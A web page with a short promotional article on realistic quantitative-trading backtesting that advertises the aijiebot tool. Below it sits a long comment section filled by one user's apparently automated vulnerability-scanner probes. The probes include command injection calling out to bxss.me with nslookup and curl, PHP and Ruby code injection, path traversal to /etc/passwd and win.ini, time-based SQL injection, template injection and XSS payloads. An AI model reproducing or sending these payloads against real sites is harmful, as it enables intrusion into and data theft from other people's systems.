How to make quantitative trading backtesting to be close to real trading?

Quantitative trading backtesting is a crucial step in the development of quantitative trading strategies, where historical trading data is simulated to evaluate the effectiveness and feasibility of the strategies. However, there are often discrepancies between backtesting results and actual trading. aijiebot, a free backtesting software, provides backtesting functions for quantitative trading strategies, using 1-minute data from the OKX exchange, resulting in outcomes that are close to real-time trading. When conducting quantitative trading backtesting, the following aspects need to be taken into consideration:

Firstly, transaction fees are a non-negligible cost in quantitative trading. During backtesting, it is imperative to accurately simulate the transaction fee settings in real trading, as overlooking this may lead to overly optimistic backtesting results. The level of transaction fees directly impacts the profitability and risk control capabilities of the strategy, thus it must be considered during backtesting.

Secondly, slippage is also a crucial factor that requires attention in quantitative trading backtesting. Slippage refers to the difference between the actual transaction price and the expected transaction price, which may occur due to insufficient market liquidity, volatile price movements, or other reasons. In backtesting, the impact of slippage on strategy performance should be fully considered, and measures should be taken to control slippage accordingly.

Thirdly, the liquidity of trading instruments is also an important factor that affects backtesting results. Trading instruments with poor liquidity may make it difficult for strategies to execute transactions in actual trading, thereby affecting the execution efficiency and profitability of the strategies. Therefore, during backtesting, it is recommended to select trading instruments with good liquidity to ensure the feasibility of the strategies in actual trading.

Lastly, the authenticity of exchange data is also a factor that must be considered in backtesting. If the data provided by the exchange contains errors or omissions, it may lead to distorted backtesting results. Therefore, before backtesting, it is necessary to carefully verify the data provided by the exchange to ensure its accuracy and completeness.

In summary, quantitative trading backtesting requires attention to transaction fees, slippage, the liquidity of trading instruments, and the authenticity of exchange data. Only by fully considering these factors can accurate and reliable backtesting results be obtained, providing strong support for actual trading. Furthermore, the use of backtesting software such as aijiebot, which provides free backtesting functions for trading strategies, can greatly enhance the efficiency and accuracy of backtesting. Other popular backtesting software includes tradestation backtesting, which is also widely used for backtesting trading strategies.



  admin   2024-5-2

nqhXncMU2024-7-3 2:36:35
!(()&&!|*|*|
nqhXncMU2024-7-3 2:36:36
1DD4oIvHh2O
nqhXncMU2024-7-3 2:36:37
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:36:40
'.gethostbyname(lc('hitaz'.'bhdyvtme186d0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(68).chr(113).chr(72).'
nqhXncMU2024-7-3 2:36:41
".gethostbyname(lc("hitnb"."fwzbcsfu87e3e.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(75).chr(101).chr(90)."
nqhXncMU2024-7-3 2:36:43
&n956431=v969025
nqhXncMU2024-7-3 2:36:44
'"()
nqhXncMU2024-7-3 2:36:45
twdCQ9ly
nqhXncMU2024-7-3 2:36:45
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:36:46
'&&sleep(27*1000)*pmvmlj&&'
nqhXncMU2024-7-3 2:36:46
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:36:47
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:36:47
"&&sleep(27*1000)*lokjlu&&"
nqhXncMU2024-7-3 2:36:47
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:36:49
${@print(md5(31337))}
nqhXncMU2024-7-3 2:36:48
'||sleep(27*1000)*emdgen||'
nqhXncMU2024-7-3 2:36:49
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:36:50
"||sleep(27*1000)*fnxrhh||"
nqhXncMU2024-7-3 2:36:50
echo ritbjl$()\ mgjalg\nz^xyu||a #' &echo ritbjl$()\ mgjalg\nz^xyu||a #|" &echo ritbjl$()\ mgjalg\nz^xyu||a #
nqhXncMU2024-7-3 2:36:50
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:36:50
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:36:51
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:36:51
&echo fchrin$()\ srjhlo\nz^xyu||a #' &echo fchrin$()\ srjhlo\nz^xyu||a #|" &echo fchrin$()\ srjhlo\nz^xyu||a #
nqhXncMU2024-7-3 2:36:51
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:36:51
${10000354+9999027}
nqhXncMU2024-7-3 2:36:53
file:///etc/passwd
nqhXncMU2024-7-3 2:36:53
|echo dgcdmt$()\ rewdoh\nz^xyu||a #' |echo dgcdmt$()\ rewdoh\nz^xyu||a #|" |echo dgcdmt$()\ rewdoh\nz^xyu||a #
nqhXncMU2024-7-3 2:36:53
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:36:53
response.write(9586279*9321947)
nqhXncMU2024-7-3 2:36:54
../
nqhXncMU2024-7-3 2:36:54
(nslookup -q=cname hitvixvndxasr8563b.bxss.me||curl hitvixvndxasr8563b.bxss.me))
nqhXncMU2024-7-3 2:36:54
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:36:54
'+response.write(9586279*9321947)+'
nqhXncMU2024-7-3 2:36:55
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:36:55
"+response.write(9586279*9321947)+"
nqhXncMU2024-7-3 2:36:55
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:36:55
$(nslookup -q=cname hitqwxrilzafxc1b2e.bxss.me||curl hitqwxrilzafxc1b2e.bxss.me)
nqhXncMU2024-7-3 2:36:55
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:36:56
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:36:56
&nslookup -q=cname hithfoxovzpvd96393.bxss.me&'\"`0&nslookup -q=cname hithfoxovzpvd96393.bxss.me&`'
nqhXncMU2024-7-3 2:36:57
"+"A".concat(70-3).concat(22*4).concat(104).concat(71).concat(106).concat(80)+(require"socket" Socket.gethostbyname("hithk"+"gryivzuw44fc9.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:36:57
/etc/shells
nqhXncMU2024-7-3 2:36:57
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:36:57
&(nslookup -q=cname hitpuehgkinrh4d4f1.bxss.me||curl hitpuehgkinrh4d4f1.bxss.me)&'\"`0&(nslookup -q=cname hitpuehgkinrh4d4f1.bxss.me||curl hitpuehgkinrh4d4f1.bxss.me)&`'
nqhXncMU2024-7-3 2:36:58
'+'A'.concat(70-3).concat(22*4).concat(116).concat(77).concat(99).concat(66)+(require'socket' Socket.gethostbyname('hitda'+'xdoksxbq8ba6a.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:36:59
c:/windows/win.ini
nqhXncMU2024-7-3 2:36:59
|(nslookup -q=cname hitfnvanbjawp15c92.bxss.me||curl hitfnvanbjawp15c92.bxss.me)
nqhXncMU2024-7-3 2:36:59
366
nqhXncMU2024-7-3 2:37:00
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:37:00
bxss.me
nqhXncMU2024-7-3 2:37:00
366
nqhXncMU2024-7-3 2:37:00
`(nslookup -q=cname hitsttnvvceqd2b788.bxss.me||curl hitsttnvvceqd2b788.bxss.me)`
nqhXncMU2024-7-3 2:37:01
xfs.bxss.me
nqhXncMU2024-7-3 2:37:01
366/.
nqhXncMU2024-7-3 2:37:01
9158353
nqhXncMU2024-7-3 2:37:02
942211
nqhXncMU2024-7-3 2:37:03
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:37:04
bfg1696<s1﹥s2ʺs3ʹhjl1696
nqhXncMU2024-7-3 2:37:06
bfgx2822��z1��z2a�bcxhjl2822
nqhXncMU2024-7-3 2:37:06
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:37:07
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:37:08
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:37:09
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:37:10
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:37:13
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:37:15
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:37:18
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:37:21
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:37:23
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:37:24
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:37:26
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:37:28
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:37:30
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:37:32
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:37:34
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:37:36
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:37:40
98991*97996*98991*97996
nqhXncMU2024-7-3 2:37:43
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:37:45
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:37:47
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:37:49
dfb#{xca}=123
nqhXncMU2024-7-3 2:37:53
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:37:55
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:37:58
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:38:00
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:38:02
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:38:05
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:38:09
%0D%0A%3C%53%63%52%69%50%74%20%3E%53%58%6A%67%289443%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:38:13
\u003CScRiPt\SXjg(9103)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:38:15
&lt;ScRiPt&gt;SXjg(9228)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:38:18
}body{zzz:Expre/**/SSion(SXjg(9003))}
nqhXncMU2024-7-3 2:41:30
wQHEvUio
nqhXncMU2024-7-3 2:41:48
*733*728*0
nqhXncMU2024-7-3 2:41:52
NaN+738-733-5
nqhXncMU2024-7-3 2:41:54
*206*201*0
nqhXncMU2024-7-3 2:41:58
NaN+211-206-5
nqhXncMU2024-7-3 2:42:00
*73*68*0
nqhXncMU2024-7-3 2:42:04
NaN+78-73-5
nqhXncMU2024-7-3 2:42:11
*413*408*0
nqhXncMU2024-7-3 2:42:15
NaN+418-413-5
nqhXncMU2024-7-3 2:42:18
-1 OR 2+574-574-1=0+0+0+1
nqhXncMU2024-7-3 2:42:21
-1 OR 3+574-574-1=0+0+0+1
nqhXncMU2024-7-3 2:42:24
-1 OR 3*2<(0+5+574-574)
nqhXncMU2024-7-3 2:42:28
-1 OR 3*2>(0+5+574-574)
nqhXncMU2024-7-3 2:42:52
*if(now()=sysdate(),sleep(15),0)
nqhXncMU2024-7-3 2:43:14
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
nqhXncMU2024-7-3 2:43:35
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
nqhXncMU2024-7-3 2:43:57
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nqhXncMU2024-7-3 2:44:25
-1; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:44:55
-1); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:45:18
-1)); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:45:54
-1 waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:46:12
GzHEYcwE'; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:46:23
omdi1bGy'); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:46:34
k4MQCIeV')); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:46:50
-1 OR 904=(SELECT 904 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:47:11
-1) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:47:29
-1)) OR 759=(SELECT 759 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:47:49
tn6rg2rH' OR 189=(SELECT 189 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:48:03
CJF8HcEp') OR 381=(SELECT 381 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:48:23
rfUgm9gI')) OR 719=(SELECT 719 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:48:36
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nqhXncMU2024-7-3 2:48:45
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nqhXncMU2024-7-3 2:48:50
����%2527%2522\'\"
nqhXncMU2024-7-3 2:48:56
@@g7by6
nqhXncMU2024-7-3 3:16:13
9995956
nqhXncMU2024-7-3 3:16:27
bfg2415<s1﹥s2ʺs3ʹhjl2415
nqhXncMU2024-7-3 3:16:38
bfgx1033��z1��z2a�bcxhjl1033
nqhXncMU2024-7-3 3:16:55
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:17:15
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:17:30
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 3:17:39
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 3:17:56
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 3:18:20
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 3:21:21
%0D%0A%3C%53%63%52%69%50%74%20%3E%6E%4F%47%47%289557%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 3:21:39
\u003CScRiPt\nOGG(9303)\u003C/sCripT\u003E
nqhXncMU2024-7-3 3:21:54
&lt;ScRiPt&gt;nOGG(9644)&lt;/sCripT&gt;
nqhXncMU2024-7-3 3:23:07
}body{zzz:Expre/**/SSion(nOGG(9269))}
nqhXncMU2024-7-3 8:54:40
9088891
nqhXncMU2024-7-3 8:54:55
bfg9239<s1﹥s2ʺs3ʹhjl9239
nqhXncMU2024-7-3 8:55:07
bfgx10703��z1��z2a�bcxhjl10703
nqhXncMU2024-7-3 8:55:20
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 8:55:31
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 8:55:44
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 8:55:55
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 8:56:04
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 8:56:16
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 8:57:32
%0D%0A%3C%53%63%52%69%50%74%20%3E%72%6D%4B%74%289647%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 8:57:43
\u003CScRiPt\rmKt(9320)\u003C/sCripT\u003E
nqhXncMU2024-7-3 8:57:53
&lt;ScRiPt&gt;rmKt(9322)&lt;/sCripT&gt;
nqhXncMU2024-7-3 8:58:28
}body{zzz:Expre/**/SSion(rmKt(9328))}
评论: